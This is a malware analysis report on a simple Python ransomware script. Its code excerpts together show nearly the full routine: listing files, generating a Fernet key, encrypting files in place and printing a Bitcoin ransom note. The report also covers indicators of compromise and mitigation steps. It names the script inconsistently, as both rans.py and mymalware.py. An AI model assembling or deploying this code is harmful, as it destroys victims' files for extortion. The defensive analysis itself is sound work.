**Malware Analysis Report**

**Malware Name: Ransomware (Python)**

**File Name:** rans.py  
**Analysis Date:** March 2024  
**Author/Source:** Harsh Vardhan Singh

**1. Malware Overview**

This Python script is identified as a **ransomware** variant that encrypts files in the current directory and demands a ransom payment. It uses the **Fernet encryption** system from the cryptography library to encrypt files and store the encryption key in a file named mykey.key. The script then prints a ransom note demanding **100 Bitcoins** within 24 hours.

**2. Malware Behavior**

The following are the key behaviors observed in the provided malware script:

**a. File Discovery**

The script scans the current working directory for files to encrypt. It skips files named mymalware.py, mykey.key, and decrypt.py, presumably to avoid encrypting itself and the key file. All other files in the directory are added to the list of files to be encrypted.

python

Copy code

for file in os.listdir():

if file == "rans.py" or file == "mykey.key" or file == "decrypt.py":

continue

if os.path.isfile(file):

files.append(file)

**b. Key Generation**

The script generates a random encryption key using **Fernet**. The key is saved in the file mykey.key for later decryption (potentially by the attacker). The encryption key is also used to encrypt all selected files.

python

Copy code

key = Fernet.generate\_key()

with open("mykey.key", "wb") as mykey:

mykey.write(key)

**c. File Encryption**

For each file in the directory (other than the excluded ones), the contents are read, encrypted with the generated Fernet key, and then the encrypted content is written back to the file, rendering it unreadable without the key.

python

Copy code

for file in files:

with open(file, "rb") as thefile:

contents = thefile.read()

contents\_encrypted = Fernet(key).encrypt(contents)

with open(file, "wb") as thefile:

thefile.write(contents\_encrypted)

**d. Ransom Note**

After completing the encryption process, the script prints a ransom note, demanding a payment of 100 Bitcoins within 24 hours.

python

Copy code

print("You have been hacked!!! Send me 100 Bitcoins in 24 Hours")

**3. Potential Impact**

* **File Loss**: The files encrypted by this malware become unreadable without the decryption key. If the decryption key is lost or not provided by the attacker, the files are permanently encrypted.
* **Ransom Demand**: The malware author demands a high-value ransom (100 Bitcoins), which amounts to a significant monetary loss if the victim complies.

**4. Indicators of Compromise (IOCs)**

* **Malware Name:** mymalware.py
* **Ransom Note Text:** "You have been hacked!!! Send me 100 Bitcoins in 24 Hours"
* **Key File:** mykey.key
* **Encryption Method:** Fernet symmetric encryption
* **Affected Files:** All files in the current directory, except mymalware.py, mykey.key, and decrypt.py.

**5. Mitigation Steps**

1. **Do not pay the ransom**: Paying the ransom does not guarantee that the attacker will decrypt the files.
2. **Disconnect from the network**: To prevent further encryption or propagation, disconnect the infected system from the network.
3. **Restore from backups**: If possible, restore encrypted files from secure backups.
4. **Key Recovery**: If the attacker is contacted and provides the decryption key, use the key to decrypt the files. However, there is no guarantee that the attacker will honor the demand.
5. **Security Measures**: Ensure that the system has adequate protections, such as updated antivirus, firewalls, and security patches.
6. **Incident Reporting**: Report the attack to relevant authorities (e.g., local law enforcement, CERT teams).

**6. Suggestions for Prevention**

1. **Backup Strategy**: Regularly back up important files and store them securely (offline or cloud).
2. **Security Training**: Educate users on avoiding phishing attacks and suspicious downloads.
3. **Endpoint Protection**: Use endpoint protection software to detect and block malicious scripts.
4. **Network Security**: Ensure that the network is segmented and use strong access controls to limit exposure.
5. **Update and Patch**: Keep the system and all installed software up to date with the latest security patches.

**7. Conclusion**

The analyzed script is a ransomware that encrypts files in the current directory and demands a Bitcoin ransom. Users and organizations are strongly advised to avoid paying the ransom and instead focus on restoring encrypted data from backups or other recovery methods. Additional security measures, such as endpoint protection and regular backups, should be implemented to mitigate the risk of ransomware attacks.

**Report Prepared by:** [Harsh Vardhan Singh]  
**Date of Analysis:** March 2024